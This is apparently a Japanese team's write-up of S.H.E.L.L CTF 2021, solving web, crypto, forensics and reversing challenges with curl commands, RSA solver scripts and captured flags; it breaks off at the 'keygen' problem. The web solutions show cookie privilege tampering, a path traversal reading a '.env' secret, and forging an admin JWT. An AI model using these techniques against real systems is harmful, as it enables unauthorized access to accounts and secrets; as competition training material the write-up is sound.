S.H.E.L.L CTF 2021 Writeup
S.H.E.L.L CTF 2021 について
S.H.E.L.L CTF 2021 が開催されました。
2021年6月5日午後15時30分 ~ 2021年6月7日午後15時30分(48時間)
今回も2人で参加しました。結果は 22/533位、3551点でした。
実際に2人で解いた問題の Writeup を紹介します。
S.H.E.L.L CTF 2021 Writeup(16問)
Web Security
anonym
Anonymous are back and they really hate robots.
http://3.142.122.1:8887
http://3.142.122.1:8887/robots.txt
User-agent: * Disallow: /yfhdgvs.txt
http://3.142.122.1:8887/yfhdgvs.txt にアクセスするとフラグが表示された。
SHELL{n0_ro80t5_4llow3d_50886509749a98ef14ec2bc45c57958e}
Under Development
http://3.142.122.1:8885/ にアクセスすると、以下のように表示される
This web app is still under development.
curl から確認すると、Cookie が送られてきているのが分かる。
$ curl http://3.142.122.1:8885/ -v * Trying 3.142.122.1:8885... * TCP_NODELAY set * Connected to 3.142.122.1 (3.142.122.1) port 8885 (#0) > GET / HTTP/1.1 > Host: 3.142.122.1:8885 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < X-Powered-By: Express < Set-Cookie: privilege=dXNlcg%3D%3D; Path=/ < Accept-Ranges: bytes < Cache-Control: public, max-age=0 < Last-Modified: Sun, 30 May 2021 06:01:58 GMT < ETag: W/"15b-179bbdd5ff0" < Content-Type: text/html; charset=UTF-8 < Content-Length: 347 < Date: Sun, 06 Jun 2021 08:29:44 GMT < Connection: keep-alive < Keep-Alive: timeout=5 < <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Web App Home Page</title> </head> <body> <div> This web app is still under development. </div> <!--TODO: Develop auth, buy some cookies from the supermarket--> </body> * Connection #0 to host 3.142.122.1 left intact
dXNlcg%3D%3D
を URLデコード、Base64デコードすると user
になる。
admin
を Base64エンコード、URLエンコードすると YWRtaW4%3D
になる。
privilege=YWRtaW4%3D
を Cookie 設定してアクセスすると、フラグが表示される。
SHELL{0NLY_0R30_8e1a91a632ecaf2dd6026c943eb3ed1e}
Fun with Tokens
I have got secret information that this webapp is vulnerable. Did i fail in verifying passwords ?
http://3.142.122.1:9334/
マウスの中ボタンで、Admins にアクセスすると、ユーザ一覧がダウンロードされる。
0xd4127c3c din_djarin11
Login にアクセスするとログインページが表示される。
Admins( http://3.142.122.1:9334/adminNames )に curl でアクセスすると、getFile にリダイレクトされているのが分かる。
$ curl http://3.142.122.1:9334/adminNames Found. Redirecting to /getFile?file=admins
file パラメータを指定することで任意のファイルをダウンロードすることができる(ただし7文字制限がある)。
$ curl http://3.142.122.1:9334/getFile?file=1234567 No such file or directory: /app/public/1234567
$ curl http://3.142.122.1:9334/getFile?file=12345678 File name too big!
../.env
を指定すると、secret=G00D_s0ld13rs_k33p_s3cret5
を取得することができる。
$ curl http://3.142.122.1:9334/getFile?file=../.env secret=G00D_s0ld13rs_k33p_s3cret5
次に login ページについて調べてみると、POST でアクセスしたときに、token ヘッダがセットされていることが判明した。
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhcXJzdmFycSIsInBhc3N3b3JkIjoiaGFxcnN2YXJxIiwiYWRtaW4iOiJzbnlmciIsImlhdCI6MTYyMjk3MDM4MX0.WXHAuQBY8bErkjr4QWwNu8raiIL7rjwJV9vUxCGOIKA
$ curl http://3.142.122.1:9334/login -X POST -v * Trying 3.142.122.1:9334... * TCP_NODELAY set * Connected to 3.142.122.1 (3.142.122.1) port 9334 (#0) > POST /login HTTP/1.1 > Host: 3.142.122.1:9334 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < X-Powered-By: Express < token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhcXJzdmFycSIsInBhc3N3b3JkIjoiaGFxcnN2YXJxIiwiYWRtaW4iOiJzbnlmciIsImlhdCI6MTYyMjk3MDM4MX0.WXHAuQBY8bErkjr4QWwNu8raiIL7rjwJV9vUxCGOIKA < Accept-Ranges: bytes < Cache-Control: public, max-age=0 < Last-Modified: Wed, 12 May 2021 11:19:24 GMT < ETag: W/"2f7-179604d8660" < Content-Type: text/html; charset=UTF-8 < Content-Length: 759 < Date: Sun, 06 Jun 2021 09:06:21 GMT < Connection: keep-alive < Keep-Alive: timeout=5 < <!DOCTYPE html> <html> <head> <title>Token Fun</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1" shrink-to-fit="no"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <script type="text/javascript" src="/static/scripts/jquery-3.2.1.min.js"></script> <script type="text/javascript" src="/static/scripts/plugin-active.js"></script> </head> <body> <h2>Have Fun With Tokens</h2> <header> <nav id="sidebar-wrapper"> <ul class="sidebar-nav"> <li class="sidebar-nav-item"> <a class="smooth-scroll" href="/adminNames">Admins</a> </li> <li class="sidebar-nav-item"> <a class="smooth-scroll" href="/login">Login</a> </li> </ul> </nav> </header> </body> * Connection #0 to host 3.142.122.1 left intact
Base64デコードすると、JWT のトークンであることが分かった。
{"alg":"HS256","typ":"JWT"}{"username":"haqrsvarq","password":"haqrsvarq","admin":"snyfr","iat":1622970381}
../.env
から secret の値が判明しているので、jwt.io で任意の値に書き換えることができる。
jwt.io で以下のパラメータのトークンを生成する。
username: ROT13(din_djarin11) password: ROT13(ir0nm4n) admin: ROT13(true)
Authorization ヘッダに以下を設定して、http://3.142.122.1:9334/admin にアクセスする
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF2YV9xd25ldmExMSIsInBhc3N3b3JkIjoidmUwYXo0YSIsImFkbWluIjoiZ2VociIsImlhdCI6MTYyMjk3MDM4MX0.6FdyWpGljviqcRVktVLr7gG2CxbiVTHkhFV-OQ0NrY8
アクセスすると以下のように返ってくる。
Hey din_djarin11! Here's your flag: FURYY{G0x3af_q0_z4gg3e_4r91ns4506s384q460s0s0p6r9r5sr4n}
FURYY{G0x3af_q0_z4gg3e_4r91ns4506s384q460s0s0p6r9r5sr4n}
を ROT13 するとフラグになった。
SHELL{T0k3ns_d0_m4tt3r_4e91af4506f384d460f0f0c6e9e5fe4a}
Forensics
Grass is green
左上の方に書いてあった。左ローテート 3回 が一番見やすい。
SHELL{LonELY_Im_MR.lONely_YOU_are_MY_loVE}
Cryptography
encoder
can you decrypt this text : "ZOLSS{W1G_D3HY_4_T45R}"
NOTE: do not shift the numbers and the special charecters( '{' , '}' , '_' ).
CyberChef の ROT13 でずらすだけ(Amount を19にしたらフラグになった)
ZOLSS{W1G_D3HY_4_T45R} ↓ SHELL{P1Z_W3AR_4_M45K}
SHELL{P1Z_W3AR_4_M45K}
EASY-RSA
n = 1763350599372172240188600248087473321738860115540927328389207609428163138985769311
e = 65537
c = 33475248111421194902497742876885935310304862428980875522333303840565113662943528
factordb で n の素因数分解ができた
from Crypto.Util.number import long_to_bytes from gmpy2 import invert as inverse def main(): n = 1763350599372172240188600248087473321738860115540927328389207609428163138985769311 e = 65537 c = 33475248111421194902497742876885935310304862428980875522333303840565113662943528 p = 31415926535897932384626433832795028841 q = 56129192858827520816193436882886842322337671 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag) if __name__ == '__main__': main()
$ python3 solve.py shell{switchin_to_asymmetric}
shell{switchin_to_asymmetric}
Algoric-Shift
ciphered text : HESL{LRAT5PN51010T_CNPH1R}3
Try decrypting:
012345678
を暗号化したところ、120453786
になった。
暗号化されたフラグも同じようにずらすと、答えになった。
enc_flag = 'HESL{LRAT5PN51010T_CNPH1R}3' flag = ['A'] * len(enc_flag) for i, ch in enumerate(enc_flag): if i % 3 == 0: flag[i + 1] = ch elif i % 3 == 1: flag[i + 1] = ch elif i % 3 == 2: flag[i - 2] = ch print(''.join(flag))
$ python3 solve.py SHELL{TRAN5P051T10N_C1PH3R}
SHELL{TRAN5P051T10N_C1PH3R}
haxxor
Encrypted string : 0x2-0x19-0x14-0x1d-0x1d-0x2a-0x9-0x61-0x3-0x62-0x15-0xe-0x60-0x5-0xe-0x19-0x4-0x19-0x2c
key
CyberChef で 16進数をバイナリに変えて、XOR Brute Force したら解けた。
SHELL{0R3D_1T_HUH}
BruteforceRSA
Flag Format : shellctf{}
EASY-RSA とほぼ同じ
factordb で n を素因数分解することができた
from Crypto.Util.number import long_to_bytes from gmpy2 import invert as inverse def main(): n = 105340920728399121621249827556031721254229602066119262228636988097856120194803 e = 65537 c = 36189757403806675821644824080265645760864433613971142663156046962681317223254 p = 320163545884759912335372936276795190799 q = 329022220307104142121947724162904472797 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag) if __name__ == '__main__': main()
$ python3 solve.py shellctf{k3y_s1ze_m@tter$}
shellctf{k3y_s1ze_m@tter$}
arc-cipher
cipher_text : a7 f9 de 54 29 92 7f 61 9a 7a 5f f3 f4 1a 88 a1 8f ca 97 47
ソースコードを眺めたところ、処理の流れが RC4 のように見える。
key = "MANGEKYOU"
と書かれているので、
CyberChef
の RC4 で復号したところフラグになった。
SHELL{S4SKU3_UCH1H4}
PowerRSA
Something's not quite secure.
nc 34.92.214.217 8887
Flag format : shell{}
netcat で接続すると、以下のように出力される。
$ nc 34.92.214.217 8887 Public Key = -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAnFjkilLnvEYoBkGhiN+f OalnbBDUSJHQGJz1U11rklrc9AMfFW5fgXcTfboKeUlCdW4gA25uFEHxumwsTkQ2 UT6P07Iw0gdkxesf/fIHitVq8wPIJQMXzdB1EhZSFLt6oX9eu1LniUdMF9sJNSzJ luzjiQDoXgAE2OD2YAjMMP7hrXBtvqi5VTPDb8ueBPUwGH8sZ8WBeGXhqHSp59XK WXM3ODltQYaQnNlgxYnKugxTW8jQphABkTksil68sZ1i3SJn76fT2sGxrPvfW+I6 NWs3F+DOkGWD41yd3BUW6ze/7KeeQJJzVI/hsNt/7DMKW0mVdPMIYm/LqNh3tRjl 81WrnhLSBy+8GP8UWdVAiuqLTvPUTrdIqH22jgjJ7CVp2KcvCTkFPfhzdYC5keiH z53sbP4fKBvvP5ZHNtwp2gGBdA1og1wCp/gzgJsBUtuMZ5ELI3zk+2ugC2j0yqSY 6EVEouNkUJ1Zjlh8+bYAN7gguDxs70Hq1e9pXKsJUcjCMyEfUTQpfJWPtxr1dOLV +cHVOowvECA5VD1bOB2ZcK2/FbvLsqVyULSx5CUNFzhbPFomPRngYur39HAC+OEq CND/BzJozGxcxMdh5L5MW/c0xeC8hR9+3GSNc8hf6+eS0LW5CufPBExN6i9GE9Nn DoHbPc4/xfw5raCR1ybfMaUCAwEAAQ== -----END PUBLIC KEY----- Encrypted Flag = 0x9abaf94cbc5f07e0b13c1b9ec5f94a87762f370d8d89384333ed791f21f1568f9b018894350cb435cd76c1744b24ec1b6d009e5e0164c0d3826b41178f458329bb92e4fb789a14438ad649db7b25e3a64d4130f4cf9729673096ecf869da15da89956a245105c677060f5b6e973739318b51d3a62d812384f3d1fa32dbf70a6725d11b1f16fadc8d6d20e793ee55bccae492f4d6212937238780e4b2bd059794ff967cb3acef0b89d7a34a4897a622e9eeccd9de3f30a39b74debcea3a89aaa770e90f17f143bb55d2952d9ca0c90f9cda0d5243e4dfef38bd8fdd64a6a2442b5862b84cad8a69feec12e3266079d4b6b2e8350eacacf59c3bf448cb5eb0efbccfbf4064ada1742e4a17b5ee87fa7dac8d4bbd34b4f0bf82b2bbd84cf88e5f89df453cea1ac97de245cd3c25d59f10192fc6ae44c3654581efd5b98151929efb38f99c51dd7b024afd41eead27e1235010b923d1879b013b2e5242aae392a5edb9d5d3e381d7466db6bf4011c2dd569a871391c1fbed9591428750339ec9bdccd45da2f631dc00961d3702a9999e64a417b0ddca7316318bcf681837838b1716bbbfbcb5d2b71a3b17a014391124536e9c9cbfafff1e9dfe5393d89fb96a678876935a26c3b13697f963ac12aa4ffe3f42c8cb597980b6c9099c8f6ebe8a48b74e08d082b7042dcca822dec429b2536ff91c2391ef0d791e4e29559321a65005
pycryptodome で公開鍵から n と e を抽出する
from Crypto.PublicKey import RSA Public_Key = '''-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAnFjkilLnvEYoBkGhiN+f OalnbBDUSJHQGJz1U11rklrc9AMfFW5fgXcTfboKeUlCdW4gA25uFEHxumwsTkQ2 UT6P07Iw0gdkxesf/fIHitVq8wPIJQMXzdB1EhZSFLt6oX9eu1LniUdMF9sJNSzJ luzjiQDoXgAE2OD2YAjMMP7hrXBtvqi5VTPDb8ueBPUwGH8sZ8WBeGXhqHSp59XK WXM3ODltQYaQnNlgxYnKugxTW8jQphABkTksil68sZ1i3SJn76fT2sGxrPvfW+I6 NWs3F+DOkGWD41yd3BUW6ze/7KeeQJJzVI/hsNt/7DMKW0mVdPMIYm/LqNh3tRjl 81WrnhLSBy+8GP8UWdVAiuqLTvPUTrdIqH22jgjJ7CVp2KcvCTkFPfhzdYC5keiH z53sbP4fKBvvP5ZHNtwp2gGBdA1og1wCp/gzgJsBUtuMZ5ELI3zk+2ugC2j0yqSY 6EVEouNkUJ1Zjlh8+bYAN7gguDxs70Hq1e9pXKsJUcjCMyEfUTQpfJWPtxr1dOLV +cHVOowvECA5VD1bOB2ZcK2/FbvLsqVyULSx5CUNFzhbPFomPRngYur39HAC+OEq CND/BzJozGxcxMdh5L5MW/c0xeC8hR9+3GSNc8hf6+eS0LW5CufPBExN6i9GE9Nn DoHbPc4/xfw5raCR1ybfMaUCAwEAAQ== -----END PUBLIC KEY----- ''' pubkey = RSA.importKey(Public_Key) n = pubkey.n e = pubkey.e print('n =', n) print('e =', e)
$ python3 parse_pubkey.py n = 637841078992790835162545469329286530272453544342014802413597802255455496383858337924100110894825758687742970070140170785519206224630196349340549159337859732155342647130667548491652536947418385282076081984301752395655278215274259123898531671510789372362087349190364138996395578694586775529335851081731263453238371544442231281408093208699332288138176380310125175184687443029417533001256037026948427362538182059007191165567038326351969506872408506354661232212244475008472119449944792126849713522156550842675061105463960659819569962889921953362608357370828586021370417408323866857981604016606499919020183769327897556407373881595472745700109475532395362055670005654465211949314614879870197726608273956267681241743966137146509495969974344430418089421168025779353639144082792724012236160587200227207172077968516293910782112806207821695565415445532782299158854563664952628404958937676655675829009891291081576726313965161971921934750422762092011795688420749476439187024347242499451319625109180867193919793070069304519572570570958349852522819925068591846496549213271394277576064058826488463389848830708699321727950412058117677125314200037419029032333822195659635417762704928585120467356964106252076606924158430797000011931920242350443712164261 e = 65537
primefac で素因数分解することができた
$ python3 -m primefac 637841078992790835162545469329286530272453544342014802413597802255455496383858337924100110894825758687742970070140170785519206224630196349340549159337859732155342647130667548491652536947418385282076081984301752395655278215274259123898531671510789372362087349190364138996395578694586775529335851081731263453238371544442231281408093208699332288138176380310125175184687443029417533001256037026948427362538182059007191165567038326351969506872408506354661232212244475008472119449944792126849713522156550842675061105463960659819569962889921953362608357370828586021370417408323866857981604016606499919020183769327897556407373881595472745700109475532395362055670005654465211949314614879870197726608273956267681241743966137146509495969974344430418089421168025779353639144082792724012236160587200227207172077968516293910782112806207821695565415445532782299158854563664952628404958937676655675829009891291081576726313965161971921934750422762092011795688420749476439187024347242499451319625109180867193919793070069304519572570570958349852522819925068591846496549213271394277576064058826488463389848830708699321727950412058117677125314200037419029032333822195659635417762704928585120467356964106252076606924158430797000011931920242350443712164261 | tr " " "\n" 637841078992790835162545469329286530272453544342014802413597802255455496383858337924100110894825758687742970070140170785519206224630196349340549159337859732155342647130667548491652536947418385282076081984301752395655278215274259123898531671510789372362087349190364138996395578694586775529335851081731263453238371544442231281408093208699332288138176380310125175184687443029417533001256037026948427362538182059007191165567038326351969506872408506354661232212244475008472119449944792126849713522156550842675061105463960659819569962889921953362608357370828586021370417408323866857981604016606499919020183769327897556407373881595472745700109475532395362055670005654465211949314614879870197726608273956267681241743966137146509495969974344430418089421168025779353639144082792724012236160587200227207172077968516293910782112806207821695565415445532782299158854563664952628404958937676655675829009891291081576726313965161971921934750422762092011795688420749476439187024347242499451319625109180867193919793070069304519572570570958349852522819925068591846496549213271394277576064058826488463389848830708699321727950412058117677125314200037419029032333822195659635417762704928585120467356964106252076606924158430797000011931920242350443712164261: 25255515813239507763038062828274158627213964434029360904034727073162480467501868620594875271406697596582062082030719426102268108365309215478740590990739956475214624378921033040164759679974055502626733711927304275524439772587558381820090424873221156649284685808198239733036647123384574595128095097153189572862865480492169399362806888349281817251809351266887599224507263437892651698930452700855288299116088269580309088746754202183303286426347035665905704798986062966226378809924474951727247346766929468429520066529091912983937452710041692649223542369490578218174897197410658728019724342448189448085925342097828513356033 25255515813239507763038062828274158627213964434029360904034727073162480467501868620594875271406697596582062082030719426102268108365309215478740590990739956475214624378921033040164759679974055502626733711927304275524439772587558381820090424873221156649284685808198239733036647123384574595128095097153189572862865480492169399362806888349281817251809351266887599224507263437892651698930452700855288299116088269580309088746754202183303286426347035665905704798986062966226378809924474951727247346766929468429520066529091912983937452710041692649223542369490578218174897197410658728019724342448189448085925342097828513354917
p、q が判明したので、後は復号する。 復号後なぜか\x00 が1文字毎に挿入されていたので、replace で除去した
from Crypto.Util.number import long_to_bytes from gmpy2 import invert as inverse c = 0x9abaf94cbc5f07e0b13c1b9ec5f94a87762f370d8d89384333ed791f21f1568f9b018894350cb435cd76c1744b24ec1b6d009e5e0164c0d3826b41178f458329bb92e4fb789a14438ad649db7b25e3a64d4130f4cf9729673096ecf869da15da89956a245105c677060f5b6e973739318b51d3a62d812384f3d1fa32dbf70a6725d11b1f16fadc8d6d20e793ee55bccae492f4d6212937238780e4b2bd059794ff967cb3acef0b89d7a34a4897a622e9eeccd9de3f30a39b74debcea3a89aaa770e90f17f143bb55d2952d9ca0c90f9cda0d5243e4dfef38bd8fdd64a6a2442b5862b84cad8a69feec12e3266079d4b6b2e8350eacacf59c3bf448cb5eb0efbccfbf4064ada1742e4a17b5ee87fa7dac8d4bbd34b4f0bf82b2bbd84cf88e5f89df453cea1ac97de245cd3c25d59f10192fc6ae44c3654581efd5b98151929efb38f99c51dd7b024afd41eead27e1235010b923d1879b013b2e5242aae392a5edb9d5d3e381d7466db6bf4011c2dd569a871391c1fbed9591428750339ec9bdccd45da2f631dc00961d3702a9999e64a417b0ddca7316318bcf681837838b1716bbbfbcb5d2b71a3b17a014391124536e9c9cbfafff1e9dfe5393d89fb96a678876935a26c3b13697f963ac12aa4ffe3f42c8cb597980b6c9099c8f6ebe8a48b74e08d082b7042dcca822dec429b2536ff91c2391ef0d791e4e29559321a65005 n = 637841078992790835162545469329286530272453544342014802413597802255455496383858337924100110894825758687742970070140170785519206224630196349340549159337859732155342647130667548491652536947418385282076081984301752395655278215274259123898531671510789372362087349190364138996395578694586775529335851081731263453238371544442231281408093208699332288138176380310125175184687443029417533001256037026948427362538182059007191165567038326351969506872408506354661232212244475008472119449944792126849713522156550842675061105463960659819569962889921953362608357370828586021370417408323866857981604016606499919020183769327897556407373881595472745700109475532395362055670005654465211949314614879870197726608273956267681241743966137146509495969974344430418089421168025779353639144082792724012236160587200227207172077968516293910782112806207821695565415445532782299158854563664952628404958937676655675829009891291081576726313965161971921934750422762092011795688420749476439187024347242499451319625109180867193919793070069304519572570570958349852522819925068591846496549213271394277576064058826488463389848830708699321727950412058117677125314200037419029032333822195659635417762704928585120467356964106252076606924158430797000011931920242350443712164261 e = 65537 p = 25255515813239507763038062828274158627213964434029360904034727073162480467501868620594875271406697596582062082030719426102268108365309215478740590990739956475214624378921033040164759679974055502626733711927304275524439772587558381820090424873221156649284685808198239733036647123384574595128095097153189572862865480492169399362806888349281817251809351266887599224507263437892651698930452700855288299116088269580309088746754202183303286426347035665905704798986062966226378809924474951727247346766929468429520066529091912983937452710041692649223542369490578218174897197410658728019724342448189448085925342097828513356033 q = 25255515813239507763038062828274158627213964434029360904034727073162480467501868620594875271406697596582062082030719426102268108365309215478740590990739956475214624378921033040164759679974055502626733711927304275524439772587558381820090424873221156649284685808198239733036647123384574595128095097153189572862865480492169399362806888349281817251809351266887599224507263437892651698930452700855288299116088269580309088746754202183303286426347035665905704798986062966226378809924474951727247346766929468429520066529091912983937452710041692649223542369490578218174897197410658728019724342448189448085925342097828513354917 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m) print(flag) flag = long_to_bytes(m).replace(b'\x00', b'') print(flag)
$ python3 solve.py b'\xff\xfes\x00h\x00e\x00l\x00l\x00{\x00e\x00n\x00t\x00r\x000\x00p\x00y\x00_\x001\x00s\x00_\x00t\x00h\x003\x00_\x00k\x003\x00y\x00_\x00L\x009\x00m\x00l\x00I\x00s\x00T\x00t\x00B\x005\x005\x007\x00I\x00/\x00N\x00h\x004\x00g\x00q\x00L\x008\x007\x00M\x00x\x00c\x00u\x00g\x00L\x00I\x00f\x00Z\x00I\x00}\x00' b'\xff\xfeshell{entr0py_1s_th3_k3y_L9mlIsTtB557I/Nh4gqL87MxcugLIfZI}'
shell{entr0py_1s_th3_k3y_L9mlIsTtB557I/Nh4gqL87MxcugLIfZI}
Puny Factors
They are puny but in prime shape. nc 34.92.214.217 8889 Flag format : shellctf{}
netcat で接続すると、以下のように表示される。
$ nc 34.92.214.217 8889 -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxaU4leBa2MT6B0WADbE8 jFqN2IEM/p+qxj8EuGhWWRpAG1W8XVyDPts3HqEeklMC1zKUHfZkVvfEMBMYx6D2 H0w4rP4tHVvplx8sszmbjGJK1OQ6Cgym0OgJhp2C7yVQuZ7QpeZvfaZcaV1sLsbR JGIHy9qZsljSdQG/71bFcbdgS9/Y60ij/I5OcQYe1pcbKEt+3Jyc9wgkykSlABeG X3B/RP66Qg7XsbsEVs8OoeC5UOAcCxdw5YzchnBs9hWXlx8hpQAaPHwM3j8hgGqn 6JFFm+5rHT3xVYyifrqm0kaVVm4L60TmFmRHwsTPakfpLHOQM8ASuYQBitaISpU+ 4mmC2rGBiWeqMxsq3asaSjJ32JlzA3GITivDXdcNbjrqX1ZsFlyuF1idLfC8UXbb JgERaBXLcrnl1dMy2Bl5hrlC58gkparR2c+NpSo8T7FtobmkAokYkhRZQY596ROw KPVG+JCN0hL2ZvQN2iJpDBJB6ImjzY5wPMwyGoVz3bvSMcgNKi0/Qdqljpv6qA+V vq+15+W0/cxqjh+QjkMn3BgRIkDK7ygKqZ0SPyhRf5OU13HzQIM7K3WiJ4++djlV WG35V49Z0s5VSX9XXdPKycHtskbF+9EiWVz2ybEOlLQIlFwNpncTXIwURx7oZmZK ka8CKEn8bx09w2Po46ZBr60CAwEAAQ== -----END PUBLIC KEY----- c = 438395558321802376695013003313784436235704703002392605244852764168767184506614623093268402587251449238807252770826638966441343734361031775909064902412369157476271347375869878748776974708581636868685316149901187009984658083187562067610964204199634367595947219927439997992175667473381871870314474809031366658566941872295143159754037171679918076468984827127418354017260513729376018940367629412638465884738457960959569335194549372776259319313648101467969801808044124374298254699141434049425641809087635488037466829669425408634461670500011704846620869207074536532440624220697740433653152604313703845558191829595799233518882273713255972365513474592829792818745305748195183129328284527354571526078862436962266887466691930471409479661998628116563398920377814760591929579435495855596276638076921011788488053093957853190979923665081548247298037427484357045652524762103011499409034776197814122579488081835320260111429856439309600201073151342710498710025976763226000164357553790388296731324122983981774873301563515923930248888243927772720898745512877359932579119401609119237628164232730827022375275310136688704632300367157756436280865250792675945890203659137435951276788489488197627512087945495989829784649107367854328056974493200378381420588495
secret.py を見ると、同じ素数が使いまわされていることが分かる。
from Crypto.Util.number import getPrime,inverse,long_to_bytes,bytes_to_long from Crypto.PublicKey import RSA flag = "shellctf{something_here}" n = getPrime(4096) e = 65537 phi = (n-1)*(n-1) d = inverse(e,phi) encrypted_flag = pow(bytes_to_long(flag.encode()),e,n) decrypted_flag = long_to_bytes(pow(encrypted_flag,d,n)).decode() assert decrypted_flag == flag print(RSA.construct((n,e)).publickey().exportKey().decode()) print("c = ",encrypted_flag)
from Crypto.PublicKey import RSA from Crypto.Util.number import long_to_bytes from gmpy2 import invert as inverse Public_Key = '''-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxaU4leBa2MT6B0WADbE8 jFqN2IEM/p+qxj8EuGhWWRpAG1W8XVyDPts3HqEeklMC1zKUHfZkVvfEMBMYx6D2 H0w4rP4tHVvplx8sszmbjGJK1OQ6Cgym0OgJhp2C7yVQuZ7QpeZvfaZcaV1sLsbR JGIHy9qZsljSdQG/71bFcbdgS9/Y60ij/I5OcQYe1pcbKEt+3Jyc9wgkykSlABeG X3B/RP66Qg7XsbsEVs8OoeC5UOAcCxdw5YzchnBs9hWXlx8hpQAaPHwM3j8hgGqn 6JFFm+5rHT3xVYyifrqm0kaVVm4L60TmFmRHwsTPakfpLHOQM8ASuYQBitaISpU+ 4mmC2rGBiWeqMxsq3asaSjJ32JlzA3GITivDXdcNbjrqX1ZsFlyuF1idLfC8UXbb JgERaBXLcrnl1dMy2Bl5hrlC58gkparR2c+NpSo8T7FtobmkAokYkhRZQY596ROw KPVG+JCN0hL2ZvQN2iJpDBJB6ImjzY5wPMwyGoVz3bvSMcgNKi0/Qdqljpv6qA+V vq+15+W0/cxqjh+QjkMn3BgRIkDK7ygKqZ0SPyhRf5OU13HzQIM7K3WiJ4++djlV WG35V49Z0s5VSX9XXdPKycHtskbF+9EiWVz2ybEOlLQIlFwNpncTXIwURx7oZmZK ka8CKEn8bx09w2Po46ZBr60CAwEAAQ== -----END PUBLIC KEY----- ''' c = 438395558321802376695013003313784436235704703002392605244852764168767184506614623093268402587251449238807252770826638966441343734361031775909064902412369157476271347375869878748776974708581636868685316149901187009984658083187562067610964204199634367595947219927439997992175667473381871870314474809031366658566941872295143159754037171679918076468984827127418354017260513729376018940367629412638465884738457960959569335194549372776259319313648101467969801808044124374298254699141434049425641809087635488037466829669425408634461670500011704846620869207074536532440624220697740433653152604313703845558191829595799233518882273713255972365513474592829792818745305748195183129328284527354571526078862436962266887466691930471409479661998628116563398920377814760591929579435495855596276638076921011788488053093957853190979923665081548247298037427484357045652524762103011499409034776197814122579488081835320260111429856439309600201073151342710498710025976763226000164357553790388296731324122983981774873301563515923930248888243927772720898745512877359932579119401609119237628164232730827022375275310136688704632300367157756436280865250792675945890203659137435951276788489488197627512087945495989829784649107367854328056974493200378381420588495 pubkey = RSA.importKey(Public_Key) n = pubkey.n e = pubkey.e print('n =', n) print('e =', e) phi = (n - 1) * (n - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m) print(flag)
$ python3 solve.py n = 806322861959466701153514038406844914182747166526080174736377745980674716555725490766681626566043260120682420824868316073396193362024390882335257412908771260474999293600579643566945319121804919248085997351874345676354857857473972441213476065150452838875886310619849512131643027898342627365324026643353428537966743511944890323985000437263222895323134128886261937664266641786948992154750838925176256901473951899992747314057821755750767765921813337477401428299930796289513819123483301575486653685410079033342921477046607347574015919073398381186977747632247430259320202090705384479548812641905890180605594681315462030742848212919660851496105019984550250720921757164494470361359677529849562445217451452922533777111776869196499200919028160236378681085893920603211789942740561879638297743748843688531008344335704670403176671115854092649447384217365867958751615695214609518308424284147963214012037545924281629303027548754921764283248415629573081634574841296056069843776605858111240669604239915340117392644408645985430125771656667240533495686447938802050067631495819226425234737491534813467389171120350672423761879255192205553213889378836118407685268753162887278988365476406089806561499511763794595103444629455631049585792307726958751832453037 e = 65537 b'shellctf{pr1m3s_ar3_sup3r_int3re$tinG}'
shellctf{pr1m3s_ar3_sup3r_int3re$tinG}
Reverse Engineering
check_flag
Was cleaning the junk out of my PC, when I found this really old executable. Help me look for the flag.
strings するだけ
$ strings checkflag.exe | grep SHELL SHELL{bas1c_r3v}
SHELL{bas1c_r3v}
assembly
fun1(0x74,0x6f) + fun1(0x62,0x69) = ?
Note : submit flag in hexadecimal format and wrap it in SHELL{ & }.
以下のように書かれたファイルが与えられている。
fun1: <+0>: push ebp <+1>: mov ebp,esp <+3>: sub esp,0x10 <+6>: mov eax,DWORD PTR [ebp+0xc] <+9>: mov DWORD PTR [ebp-0x4],eax <+12>: mov eax,DWORD PTR [ebp+0x8] <+15>: mov DWORD PTR [ebp-0x8],eax <+18>: jmp <fun1+28> <+20>: add DWORD PTR [ebp-0x4],0x7 <+24>: add DWORD PTR [ebp-0x8],0x70 <+28>: cmp DWORD PTR [ebp-0x8],0x227 <+35>: jle <fun1+20> <+37>: mov eax,DWORD PTR [ebp-0x4] <+40>: leave <+41>: ret
上記のファイルを再現して、実行するとフラグになる。
#include <stdio.h> int fun1(int n1, int n2) { int eax, ebp_4, ebp_8; eax = n2; ebp_4 = eax; eax = n1; ebp_8 = eax; fun1_20: ebp_4 += 0x7; ebp_8 += 0x70; fun1_28: if (ebp_8 <= 0x227) { goto fun1_20; } eax = ebp_4; return eax; } int main(void) { printf("SHELL{0x%x}\n", fun1(0x74,0x6f) + fun1(0x62,0x69)); return 0; }
$ gcc solve.c $ ./a.out SHELL{0x117}
SHELL{0x117}
keygen
Can you get the flag from the given file.
以下のファイルが与えられている。
